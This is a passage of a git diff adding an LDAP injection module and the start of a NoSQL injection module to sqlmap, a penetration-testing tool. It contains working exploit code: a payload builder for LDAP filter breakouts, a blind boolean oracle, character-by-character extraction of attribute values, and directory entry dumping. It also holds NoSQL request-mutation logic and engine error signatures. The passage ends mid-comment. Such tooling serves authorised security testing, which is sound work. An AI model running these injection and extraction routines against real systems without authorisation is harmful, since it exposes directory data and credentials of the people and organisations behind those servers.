value = value.replace("&", "%26") + value = value.replace("+", "%2B") + value = value.replace("=", "%3D") + value = value.replace(" ", "%20") + return value + + +def _ldapLiteral(value): + """Escape an LDAP assertion value, then protect URL transport bytes.""" + + value = getUnicode(value) + value = value.replace("\\", "\\5c") + value = value.replace("*", "\\2a") + value = value.replace("(", "\\28") + value = value.replace(")", "\\29") + value = value.replace("\x00", "\\00") + return _transportEncode(value) + + +class _ProbeBuilder(object): + """ + Build payloads that preserve the winning breakout shape. + + Simple probes are open fragments, e.g. SENTINEL*)(uid=adm* + The target application's original filter template supplies the closing suffix. + Compound probes close their own (&...) filter, then open a dummy assertion to + consume that same application suffix. + """ + + def __init__(self, breakout): + self.breakout = breakout or ")" + + def raw(self, fragment, lead=None): + return "%s%s%s" % (lead if lead is not None else SENTINEL, self.breakout, fragment) + + def presence(self, attr, constraint=None, exclusions=None): + assertion = "(%s=*)" % attr + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=*" % attr) + + def prefix(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=%s*)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=%s*" % (attr, _ldapLiteral(value))) + + def contains(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=*%s*)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + return self.raw("(%s=*%s*" % (attr, _ldapLiteral(value))) + + def equals(self, attr, value, constraint=None, exclusions=None): + assertion = "(%s=%s)" % (attr, _ldapLiteral(value)) + if constraint or exclusions: + return self._compound(assertion, constraint=constraint, exclusions=exclusions) + + # Exact equality cannot be made reliable in an unknown trailing template, + # so simple contexts fall back to prefix semantics. + return self.prefix(attr, value) + + def _compound(self, assertion, constraint=None, exclusions=None): + clauses = [] + + if constraint: + cAttr, cValue = constraint + clauses.append("(%s=%s)" % (cAttr, _ldapLiteral(cValue))) + + for eAttr, eValue in exclusions or (): + clauses.append("(!(%s=%s))" % (eAttr, _ldapLiteral(eValue))) + + # Raw '&' would split GET parameters because skipUrlEncode=True. Use %26 + # so the HTTP layer decodes it into LDAP '&' inside the parameter value. + compound = "(%%26%s%s)" % ("".join(clauses), assertion) + + # Dummy suffix eater: the original app template can safely append its tail. + return self.raw("%s(objectClass=%s*" % (compound, SENTINEL)) + + +def _makeOracle(place, parameter, breakout): + """Build the extraction oracle by RECALIBRATING its true/false models on the SAME base + winning + breakout the extraction payloads use - the `_ProbeBuilder` leads every probe with SENTINEL, so + the models must too. A matched always-true filter `SENTINEL<breakout>(objectClass=*` (objectClass + is on every entry) and a matched always-FALSE `SENTINEL<breakout>(objectClass=<sentinel>` (no + entry has it) - same shape, only the assertion's truth changed. The old oracle compared SENTINEL- + based extraction payloads against an ORIGINAL-based detection template and a bare unreproduced + SENTINEL false page - a base/shape mismatch. Reproduce both, require separable, else None.""" + + cache = {} + + def request(payload): + # cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever + if payload not in cache: + page = _send(place, parameter, payload) + if page and not _isError(page): + cache[payload] = page + return page + return cache[payload] + + builder = _ProbeBuilder(breakout) + truePayload = builder.raw("(objectClass=*") + falsePayload = builder.raw("(objectClass=%s" % SENTINEL) + trueModel = request(truePayload) + falseModel = request(falsePayload) + + if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel): + return None + if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true + return None + if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false + return None + if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # not separable -> can't extract reliably + return None + + def extract(payload): + # a positive bit (attribute-prefix match) must lean CLEARLY toward the recalibrated TRUE + # model over the matched FALSE model (shared 3-way classifier) - NOT merely "different from + # a bare sentinel page", which read a dynamic token / WAF body / transient exception as a + # match and fabricated LDAP values one character at a time. A transport failure / error is + # UNKNOWN (routed through resolveBit -> retry -> InconclusiveError), never a pre-decided False. + page = request(payload) + usable = page if (page and not _isError(page)) else None + + def fresh(): + p = _send(place, parameter, payload) + return None if (not p or _isError(p)) else p + return resolveBit(usable, trueModel, falseModel, fresh) + + def oracle(payload): + return extract(payload) + + oracle.extract = extract + oracle.template = trueModel + oracle.falsePage = falseModel + oracle.cache = cache + return oracle + + +# Avoid LDAP metacharacters in blind character extraction. In real LDAP they can +# be escaped, but many simple test harnesses decode them before wildcard handling, +# The filter metacharacters *, (, ), \ are INCLUDED in the extraction charset: `_ldapLiteral()` escapes +# each one (*->\2a, (->\28, )->\29, \->\5c) in the prefix probe, so they are matched as LITERAL bytes +# (no wildcard / no false positive) and a value like `CN=Smith\, John (Admin)` or `abc*def` is recovered +# in full instead of being truncated at the first metacharacter. They sit at the FREQUENCY TAIL (rare in +# real data), so common characters are still tried first. +_META_ORDS = set() +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._-+ ") + + tuple(ord(_) for _ in "*()\\")) # filter metacharacters (escaped by _ldapLiteral) +_CHARSET = [] +for _ in _FREQ: + if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(LDAP_CHAR_MIN, LDAP_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + + +def _exists(oracle, builder, attr, constraint=None, exclusions=None): + return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions)) + + +def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH, strict=False): + value = "" + probes = 0 + + try: + for _ in xrange(maxLen): + found = False + + for cp in _CHARSET: + candidate = value + chr(cp) + probes += 1 + + if oracle.extract(builder.prefix(attr, candidate, constraint=constraint, exclusions=exclusions)): + value = candidate + found = True + break + + if not found: + break + + # Three or more consecutive trailing spaces never occur in real + # directory data. When the server-side LDAP-to-SQL translation + # (or equivalent) spuriously matches a trailing-space probe (e.g. + # mail=user@dom * matching user@dom), the extraction would + # otherwise chase an endless phantom suffix. Terminate and strip. + if value.endswith(" "): + value = value.rstrip() + break + except InconclusiveError: + # a structural caller (entry-key enumeration) must SEE the abort to mark the dump partial - it + # is NOT end-of-data; a per-value caller instead gets None and renders an inconclusive marker + if strict: + raise + logger.warning("LDAP extraction aborted for attribute '%s' (oracle inconclusive after retries)" % attr) + return None + + logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value))) + return value if value else None + + +def _fingerprintByAttribute(oracle, builder): + for attr, expected, backend in LDAP_FINGERPRINT_ATTRIBUTES: + if not _exists(oracle, builder, attr): + continue + + if expected: + if oracle.extract(builder.contains(attr, expected)): + return backend + else: + return backend + + return None + + +def _dumpInband(oracle, slot): + """If the always-true template page exposes directory entries directly + (e.g. as JSON), extract them in one shot instead of blind brute-force.""" + import json + + page = oracle.template + if not page or not page.strip().startswith('{'): + return False + + try: + data = json.loads(page) + entries = data.get("entries") or data.get("results") or () + except (ValueError, TypeError): + return False + + if not entries or not isinstance(entries, (list, tuple)): + return False + + columns = [] + seen = set() + for entry in entries: + if not isinstance(entry, dict): + continue + for key in entry: + if key not in seen: + columns.append(getUnicode(key)) + seen.add(key) + + if not columns: + return False + + rows = [] + for entry in entries: + if not isinstance(entry, dict): + continue + rows.append(tuple(getUnicode(entry.get(c, "")) for c in columns)) + + # Drop columns where every row is empty (common with wide schemas). + populated = [] + for ci, col in enumerate(columns): + if any(r[ci] for r in rows): + populated.append(ci) + if populated and len(populated) < len(columns): + columns = [columns[i] for i in populated] + rows = [tuple(r[i] for i in populated) for r in rows] + + logger.info("in-band data exposure: %d record(s)" % len(rows)) + _dumpTable("LDAP: %s parameter '%s' in-band entries" % (slot.place, slot.parameter), + columns, rows) + return True + + +def _probeRootDSE(oracle, builder): + for attr in ("namingContexts", "subschemaSubentry", "vendorName", "vendorVersion"): + if not _exists(oracle, builder, attr): + continue + + value = _inferAttribute(oracle, builder, attr) + if value: + logger.info("directory %s: '%s'" % (attr, value)) + + +def _enumerateEntryKeys(oracle, builder): + for keyAttr in ENTRY_KEY_ATTRIBUTES: + try: + if not _exists(oracle, builder, keyAttr): + continue + except InconclusiveError: + continue # existence unknown for this key attr -> try next + + values, partial = [], False + while len(values) < LDAP_MAX_RECORDS: + exclusions = [(keyAttr, _) for _ in values] + try: + # strict: an inconclusive NEXT-entry key probe is UNKNOWN, not the end of the directory + value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions, strict=True) + except InconclusiveError: + partial = True + logger.warning("directory entry enumeration became inconclusive after %d entr%s; the dump is PARTIAL" % (len(values), "y" if len(values) == 1 else "ies")) + break + + if not value or value in values: # "" / repeat -> genuine end + break + + values.append(value) + logger.info("identified directory entry: %s='%s'" % (keyAttr, value)) + + if values: + if len(values) >= LDAP_MAX_RECORDS: + logger.warning("directory enumeration hit the LDAP_MAX_RECORDS (%d) cap; some entries may be omitted" % LDAP_MAX_RECORDS) + partial = True # a truncated cap is NOT a complete dump + return keyAttr, values, partial + + return None, [], False + + +def _dumpEntries(oracle, builder, place, parameter): + keyAttr, keys, partial = _enumerateEntryKeys(oracle, builder) + if not keys: + logger.warning("could not identify a stable directory entry key") + return False + + rows = [] + discovered = set() + + for key in keys: + constraint = (keyAttr, key) + row = {keyAttr: key} + logger.info("extracting attributes for entry %s='%s'" % (keyAttr, key)) + + for attr in DUMP_ATTRIBUTES: + if attr == keyAttr: + continue + + logger.info("probing attribute '%s'" % attr) + try: + if not _exists(oracle, builder, attr, constraint=constraint): + continue + except InconclusiveError: + continue # existence unknown -> skip this attribute + # an attribute confirmed to exist but whose value is inconclusive must show the marker, NOT + # be silently omitted (which would read as "attribute absent") + value = _inferAttribute(oracle, builder, attr, constraint=constraint) + row[attr] = INCONCLUSIVE_MARK if value is None else value + discovered.add(attr) + + rows.append(row) + + columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered] + tableRows = [tuple(row.get(column, "") for column in columns) for row in rows] + + completeness = " (PARTIAL - entry enumeration aborted, oracle inconclusive)" if partial else "" + logger.info("dumped %d entr%s%s" % (len(rows), "y" if len(rows) == 1 else "ies", completeness)) + _dumpTable("LDAP: %s parameter '%s' directory entries%s" % (place, parameter, completeness), columns, tableRows) + return True + + +def _dumpMultiValues(oracle, builder, place, parameter): + dumped = False + + for attr in MULTI_VALUE_ATTRIBUTES: + if not _exists(oracle, builder, attr): + continue + + # Multi-valued attributes (member, memberOf, uniqueMember) can hold several values in ONE entry. + # LDAP filters are ENTRY-scoped, so the intuitive "exclude each recovered value to get the next" + # walk is WRONG: (!(member=A)) excludes the whole ENTRY that holds member=A, so a second value of + # the SAME entry can never surface, and the probe may instead match a DIFFERENT entry that also + # carries the attribute - silently mixing entries while claiming a complete multi-value dump. + # Recovering one value per attribute and labelling it honestly is correct; true per-value + # enumeration needs a unique-entry binding or AD ranged retrieval (member;range=0-*), not + # negation. Report the single recovered value as exactly that. + value = _inferAttribute(oracle, builder, attr) + if value: + logger.info("recovered one matching value of multi-valued attribute '%s' " + "(full per-value enumeration is not proven over entry-scoped LDAP filters)" % attr) + _dumpTable("LDAP: %s parameter '%s' '%s' (one matching value, NOT full multi-value enumeration)" % (place, parameter, attr), + [attr], [(value,)]) + dumped = True + + return dumped + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(row[index])) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpTable(title, columns, rows): + if rows: + conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows))) + + +def ldapScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--ldap' is self-contained: it detects LDAP injection in HTTP " + debugMsg += "parameters and dumps reachable directory entries. SQL enumeration " + debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + slots = [] + + for place in (_ for _ in LDAP_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing LDAP injection on %s parameter '%s'" % (place, parameter)) + + # Phase 1: probe the LDAP filter parser for a backend hint. + # This is NOT authoritative -- only a boolean oracle confirms + # exploitable injection. + backendHint, _errorPayload = _probeBackendByParserError(place, parameter) + if backendHint: + backendHint = _fingerprintByError(backendHint) + + # Phase 2: establish a boolean oracle (authoritative). + template, payload, breakout = _detectBoolean(place, parameter) + if template and breakout: + found += 1 + backend = backendHint or None + if conf.beep: + beep() + + oracle = _makeOracle(place, parameter, breakout) + if oracle is None: + # detection confirmed, but the extraction true/false models are not reliably + # separable -> report the finding WITHOUT dumping (never fabricate directory data) + logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s'); " + "extraction disabled (true/false models not reliably separable)" % (place, parameter, backend or "Generic")) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload)) + continue + logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic")) + slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=oracle.template, payload=payload, breakout=breakout)) + continue + + # Phase 3: wildcard behavior on a credential field. A `*`-vs-random response difference is + # NOT a confirmed authentication bypass: it proves neither a query-boundary escape nor an + # authenticated-state transition (no redirect / session cookie / success-marker check here). + # Report it as INFORMATIONAL only - a confirmed bypass needs a real authenticated-state proof. + bypass = _detectAuthBypass(place, parameter) + if bypass: + logger.info("%s parameter '%s': wildcard '*' changes the response (possible LDAP filter influence / auth-bypass surface) - INFORMATIONAL, not a confirmed injection (no authenticated-state transition verified)" % (place, parameter)) + continue + + # Parser-error alone is not exploitable -- log it but do not + # create a vulnerability report. + if backendHint: + logger.info("%s parameter '%s' reaches an LDAP filter parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint)) + + if not slots: + if tested: + warnMsg = "no parameter appears to be injectable via LDAP injection (%d tested)" % tested + else: + warnMsg = "no parameters found to test for LDAP injection" + logger.warning(warnMsg) + return + + # Print auth-bypass reports. + for slot in slots: + if slot.bypass: + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP auth bypass (wildcard)\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.bypass)) + + # Select the first oracle-bearing slot for fingerprint + enumeration. + slot = next((_ for _ in slots if _.oracle and _.breakout), None) + if not slot: + logger.info("LDAP scan complete") + return + + # Refine backend fingerprint if we only have a generic hint. + builder = _ProbeBuilder(slot.breakout) + oracle = slot.oracle + if not slot.backend or slot.backend == "Generic LDAP": + backend = _fingerprintByAttribute(oracle, builder) + if backend: + logger.info("identified back-end: '%s'" % backend) + slot = slot._replace(backend=backend) + + # Determine extraction method: in-band if the template page already + # contains parseable JSON entries, otherwise blind. + import json + page = oracle.template + inband = False + if page and page.strip().startswith('{'): + try: + data = json.loads(page) + entries = data.get("entries") or data.get("results") or () + inband = bool(entries and isinstance(entries, (list, tuple))) + except (ValueError, TypeError): + pass + + title = "LDAP in-band data exposure" if inband else "LDAP boolean-based blind" + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload)) + + logger.info("probing RootDSE-style directory metadata") + _probeRootDSE(oracle, builder) + + if inband: + dumped = _dumpInband(oracle, slot) + else: + dumped = _dumpEntries(oracle, builder, slot.place, slot.parameter) + dumped = _dumpMultiValues(oracle, builder, slot.place, slot.parameter) or dumped + + if not dumped: + warnMsg = "LDAP injection is confirmed but no directory data could be extracted. " + warnMsg += "The injection point may expose only a limited boolean oracle or ACLs restrict reads" + logger.warning(warnMsg) + + logger.info("LDAP scan complete") diff --git a/lib/techniques/nosql/__init__.py b/lib/techniques/nosql/__init__.py new file mode 100644 index 00000000000..2c772879a4f --- /dev/null +++ b/lib/techniques/nosql/__init__.py @@ -0,0 +1,6 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" diff --git a/lib/techniques/nosql/inject.py b/lib/techniques/nosql/inject.py new file mode 100644 index 00000000000..6b41d349d60 --- /dev/null +++ b/lib/techniques/nosql/inject.py @@ -0,0 +1,1308 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import json +import re +import time + +from collections import namedtuple +from collections import OrderedDict + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.utils.nonsql import userDecision +from lib.utils.nonsql import sqlErrorPresent +from lib.utils.nonsql import blockedStatus +from lib.utils.nonsql import ratio as _ratio +from lib.utils.nonsql import userOracleActive +from lib.utils.nonsql import InconclusiveError +from lib.utils.nonsql import INCONCLUSIVE_MARK +from lib.utils.nonsql import resolveBit +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.enums import POST_HINT +from lib.core.settings import NOSQL_CHAR_MAX +from lib.core.settings import NOSQL_CHAR_MIN +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import NOSQL_MAX_FIELDS +from lib.core.settings import NOSQL_MAX_LENGTH +from lib.core.settings import NOSQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange +from thirdparty.six.moves import urllib as _urllib + +# Improbable literal used to build always-true/never-match payloads. Randomized per run (like +# kb.chars boundaries) so it never becomes a static signature a WAF can pin a blocking rule on. +NOSQL_SENTINEL = randomStr(length=10, lowercase=True) + +# Maximum number of characters of in-band (reflected) data surfaced from an always-true response +NOSQL_DUMP_LIMIT = 4096 + +# Delivery shapes that can carry an injection into a back-end filter/query. PLACE.URI is intentionally +# NOT listed: `_send` has no path-segment mutation (it would route a URI point through the generic +# form/query serializer, corrupting the request), so advertising it would be a false promise. Add it +# back only alongside real URI-marker (`*`) path mutation through sqlmap's URI machinery. +NOSQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.COOKIE) + +# Lucene regexp metacharacters (Elasticsearch/Solr) requiring escaping in built patterns +LUCENE_META = set('.?+*|(){}[]"\\/') + +# Java regexp metacharacters (Cypher/AQL =~) requiring escaping in built patterns +JAVA_META = set('.?+*|(){}[]^$\\/') + +# Engines detectable through a syntax-breaking probe but lacking a clean substring oracle for blind +# extraction (mapped from recognizable error-message fragments - not product names - to back-end name) +ERROR_SIGNATURES = ( + ("Cassandra", ("no viable alternative at input", "org.apache.cassandra", "com.datastax", "invalidrequestexception")), + ("Redis", ("wrongtype operation", "err error compiling script", "err error running script", "@user_script", "replyerror")), + ("Memcached", ("client_error bad", "server_error object too large")), + ("InfluxDB", ("error parsing query", "unable to parse")), + ("HBase/Phoenix", ("org.apache.phoenix", "phoenixparserexception", "org.apache.hadoop.hbase")), +) + +_UNSET = object() + +# HTTP status of the most recent request issued by _send() (None when bypassed, e.g. under tests) +_lastCode = None + +# set by _isError() whenever a probe response carries a recognized SQL/DBMS error - a strong sign +# the parameter is plainly SQL-injectable (not NoSQL); surfaced as a hint when nothing NoSQL matches +_sqlErrorSeen = False + +# Resolved injection vector. `template` is the always-true page for content-based blind extraction +# (None for time-based/detection-only); `bypass` is the always-true payload reported as a login/filter +# bypass; `truth` overrides the content oracle (e.g. a timing predicate for the $where time-based path); +# `dump` is a callable returning (columns, rows) for a whole-document dump (server-side-JS key enumeration). +# `bound` records whether a whole-document dump is provably tied to ONE record (a unique-ish sibling +# constraint pins it, or the walk keys on a unique per-record id like a Neo4j node id). When False the +# recovered fields may come from DIFFERENT matching documents, so the output is labelled representative +# rather than presented as one coherent document. +# `falseModel` is the always-FALSE (never-match) page, calibrated alongside `template` (the always-true +# page). Content-based blind extraction classifies each bit RELATIVE to BOTH models (shared resolveBit), +# so an unrelated usable page (session-expired / CAPTCHA / soft-WAF / validation) leans to neither and is +# INCONCLUSIVE rather than a fabricated false bit. When a false model cannot be calibrated, content +# extraction is DISABLED for that vector (never silently one-sided). +Vector = namedtuple("Vector", ("dbms", "fetch", "lengthValue", "charValue", "template", "bypass", "truth", "dump", "bound", "falseModel")) +Vector.__new__.__defaults__ = (None, None, None, None, True, None) + + +def _encode(value): + return _urllib.parse.quote(value, safe="") + +def _lucene(value): + return "".join(("\\" + _ if _ in LUCENE_META else _) for _ in value) + +def _javaEscape(value): + return "".join(("\\" + _ if _ in JAVA_META else _) for _ in value) + +def _quoted(regex): + # double every backslash so a regexp survives a single-quoted string literal (Cypher/AQL/N1QL), + # whose own backslash processing would otherwise strip one level before the engine parses it + return regex.replace("\\", "\\\\") + +def _isJsonBody(): + return kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE) + +def _jsonKey(parameter): + for prefix in ("JSON ", "JSON-like "): + if parameter.startswith(prefix): + return parameter[len(prefix):] + return parameter + +# --- JSON / JSON-like lexical scanner ----------------------------------------------------------- +# These skips give the mutation locator a real tokenizer's states so a 'key:'-looking fragment inside +# a string, comment, backtick template, or regex literal is never mistaken for a property, and a +# '}'/']' inside any of those never closes an object/array value early. + +def _skipString(body, i): + """`body[i]` is an opening quote (", ' or `); return the index just past the closing quote.""" + q, n, j, esc = body[i], len(body), i + 1, False + while j < n: + c = body[j] + if esc: + esc = False + elif c == "\\": + esc = True + elif c == q: + return j + 1 + j += 1 + return n + + +def _skipComment(body, i): + """`body[i:i+2]` is `//` or `/*`; return the index just past the comment.""" + if body[i + 1] == "/": + j = body.find("\n", i) + return len(body) if j == -1 else j + 1 + j = body.find("*/", i + 2) + return len(body) if j == -1 else j + 2 + + +def _skipRegex(body, i): + """`body[i]` is `/` in a value position; return the index past the closing `/` AND any trailing + flag letters (e.g. `/abc/gi`) of a JS regex literal (honouring `[...]` character classes and + escapes), or None when it is not a regex (no close on the line). Consuming the flags matters: a + regex VALUE's span must cover `/abc/i` in full, else the mutation would leave a dangling `i`.""" + n, j, esc, inClass = len(body), i + 1, False, False + while j < n: + c = body[j] + if esc: + esc = False + elif c == "\\": + esc = True + elif c == "[": + inClass = True + elif c == "]": + inClass = False + elif c == "\n": + return None + elif c == "/" and not inClass: + j += 1 + while j < n and body[j].isalpha(): # consume trailing regex flags (g/i/m/s/u/y/...) + j += 1 + return j + j += 1 + return None + + +def _jsonValueSpan(body, pos): + """Given `pos` just after a property's ':', return the [start, end) span of its value token - a + quoted/backtick string, a regex literal, a balanced object/array, or a scalar - or None. Strings, + comments and regex literals inside an object/array value are skipped so a '}'/']'/quote/':' within + any of them does not close the token early.""" + n = len(body) + while pos < n and body[pos] in " \t\r\n": + pos += 1 + if pos >= n: + return None + c = body[pos] + if c in ('"', "'", "`"): + return (pos, _skipString(body, pos)) + if c == "/" and pos + 1 < n and body[pos + 1] not in "/*": # regex-literal value + end = _skipRegex(body, pos) + return (pos, end if end else pos + 1) + if c in "{[": + close = "}" if c == "{" else "]" + depth, j = 0, pos + while j < n: + cj = body[j] + if cj in ('"', "'", "`"): + j = _skipString(body, j) + continue + if cj == "/" and j + 1 < n and body[j + 1] in "/*": + j = _skipComment(body, j) + continue + if cj == "/" and j + 1 < n: # possible regex inside the value + r = _skipRegex(body, j) + if r: + j = r + continue + if cj == c: + depth += 1 + elif cj == close: + depth -= 1 + if depth == 0: + return (pos, j + 1) + j += 1 + return None + j = pos + while j < n and body[j] not in ",}] \t\r\n": + j += 1 + return (pos, j) + + +def _jsonLocateValues(body, key): + """Return the [start, end) value span of EVERY genuine property named `key`. A genuine property + name is a quoted or bareword token OUTSIDE strings, comments, backtick templates and regex literals, + followed by ':', so a 'key:'-looking fragment inside any of those is never matched (the reviewer's + `{"note":"name: x",...}` and `{pattern:/name: trap/,...}` cases). `prevSig` tracks the last + significant char so a '/' in value position is read as a regex literal rather than division.""" + n, i = len(body), 0 + prevSig = "{" # a key/value is expected at the start + spans = [] + while i < n: + c = body[i] + if c in " \t\r\n": + i += 1 + continue + if c == "/" and i + 1 < n and body[i + 1] in "/*": + i = _skipComment(body, i) + continue + if c == "/" and prevSig in ":,[{(=": # regex literal in value position -> skip it whole + r = _skipRegex(body, i) + if r: + prevSig = "/" + i = r + continue + if c in ('"', "'", "`"): + end = _skipString(body, i) + k = end + while k < n and body[k] in " \t\r\n": + k += 1 + # a quoted (not backtick) token immediately followed by ':' is a property name + if c in ('"', "'") and body[i + 1:end - 1] == key and k < n and body[k] == ":": + span = _jsonValueSpan(body, k + 1) + if span: + spans.append(span) + i = span[1] # continue past the value to find other occurrences + prevSig = "v" + continue + prevSig, i = c, end + continue + if c.isalpha() or c == "_": # a bareword token (JSON-like unquoted key) + start = i + while i < n and (body[i].isalnum() or body[i] in "_$"): + i += 1 + k = i + while k < n and body[k] in " \t\r\n": + k += 1 + if body[start:i] == key and k < n and body[k] == ":": + span = _jsonValueSpan(body, k + 1) + if span: + spans.append(span) + i = span[1] + prevSig = "v" + continue + prevSig = "w" + continue + prevSig = c + i += 1 + return spans + + +def _jsonRawReplace(body, parameter, jsonValue): + """Replace ONLY the target property's value span with `json.dumps(jsonValue)`, located by the + string/comment/regex-aware scanner (never a regex sub, never a form serializer). Handles a value + that is a string, number, bool/null, object, array, or regex-with-flags, and preserves the rest of + the body byte-for-byte. With only the leaf key name available (no parsed path), an AMBIGUOUS body - + the same key name appearing at more than one place/depth - is NOT guessed: the probe is SKIPPED + (returns None) rather than mutate the wrong field. Returns None when the property is absent or + ambiguous (caller skips the probe).""" + spans = _jsonLocateValues(body, _jsonKey(parameter)) + if len(spans) != 1: # 0 = not found, >1 = ambiguous -> skip, never guess + return None + start, end = spans[0] + return body[:start] + json.dumps(jsonValue) + body[end:] + +def _delim(place): + # parameter delimiter for the place: ';' for cookies (per --cookie-del), '&' otherwise + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + +def _originalValue(place, parameter): + for segment in conf.parameters[place].split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + +def _replaceSegment(place, parameter, segment): + """Rebuild conf.parameters[place], swapping the target parameter for `segment` (e.g. 'k[$ne]=v' + or 'k=v') while preserving every sibling parameter verbatim""" + + delimiter = _delim(place) + retVal, replaced = [], False + + for part in conf.parameters[place].split(delimiter): + if not replaced and part.split('=', 1)[0].strip() == parameter: + retVal.append(segment) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [segment if name == parameter else "%s=%s" % (_encode(name), _encode(value)) for name, value in conf.paramDict[place].items()] + + return delimiter.join(retVal) + +def _send(place, parameter, segment=None, jsonValue=_UNSET): + """Issues a single request with the target parameter overridden - by raw 'name=value' segment for + URL/body parameters, or by setting the key to `jsonValue` for JSON bodies - returning the response""" + + global _lastCode + + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + if conf.delay: + time.sleep(conf.delay) + + try: + kwargs = {"raise404": False, "silent": True} + + jsonBody = jsonValue is not _UNSET and _isJsonBody() and place in (PLACE.POST, PLACE.CUSTOM_POST) + if jsonBody: + # Mutate ONLY the target property's value span in place, located by a string/comment-aware + # scanner. This is used for BOTH strict and JSON-like bodies: it is structurally safe (never + # matches a 'key:' fragment inside a string/comment), handles a value at any depth and of any + # type (string/number/object/array), preserves the rest of the body byte-for-byte, and never + # falls back to a form serializer. When the exact property cannot be located, SKIP the probe + # rather than send a corrupted body (a fabricated diff would be a false positive). + payload = _jsonRawReplace(conf.data, parameter, jsonValue) + if payload is None: + logger.debug("NoSQL: JSON property '%s' not locatable in the body; skipping probe" % _jsonKey(parameter)) + return None + kwargs["post"] = payload + elif place == PLACE.COOKIE: + payload = kwargs["cookie"] = _replaceSegment(place, parameter, segment) + else: + payload = _replaceSegment(place, parameter, segment) + kwargs["post" if place in (PLACE.POST, PLACE.CUSTOM_POST) else "get"] = payload + + logger.log(CUSTOM_LOGGING.PAYLOAD, _urllib.parse.unquote(payload)) # readable, surfaced at -v 3 like a regular sqlmap payload + page, _, _lastCode = Request.getPage(**kwargs) + except Exception as ex: # a transport failure must never enter the oracle as "" + logger.debug("NoSQL probe request failed: %s" % getUnicode(ex)) + _lastCode = None + return None + finally: + conf.skipUrlEncode = skipUrlEncode + + return page or "" + +def _isError(page): + # a server-error status, a recognizable NoSQL error body, OR a recognized SQL/DBMS error marks a + # response as NOT a valid always-true template (prevents two differing error pages from faking a + # boolean oracle). The SQL/DBMS check is essential: a payload that trips a DBMS syntax error (e.g. + # numeric `cat=*` on MySQL -> "You have an error in your SQL syntax") yields a STABLE page that + # merely DIFFERS from a no-match page, which would otherwise fake a boolean oracle and misreport a + # plainly SQL-injectable parameter as NoSQL. htmlParser() reuses sqlmap's errors.xml signatures. + global _sqlErrorSeen + # a server error (>=500) or a 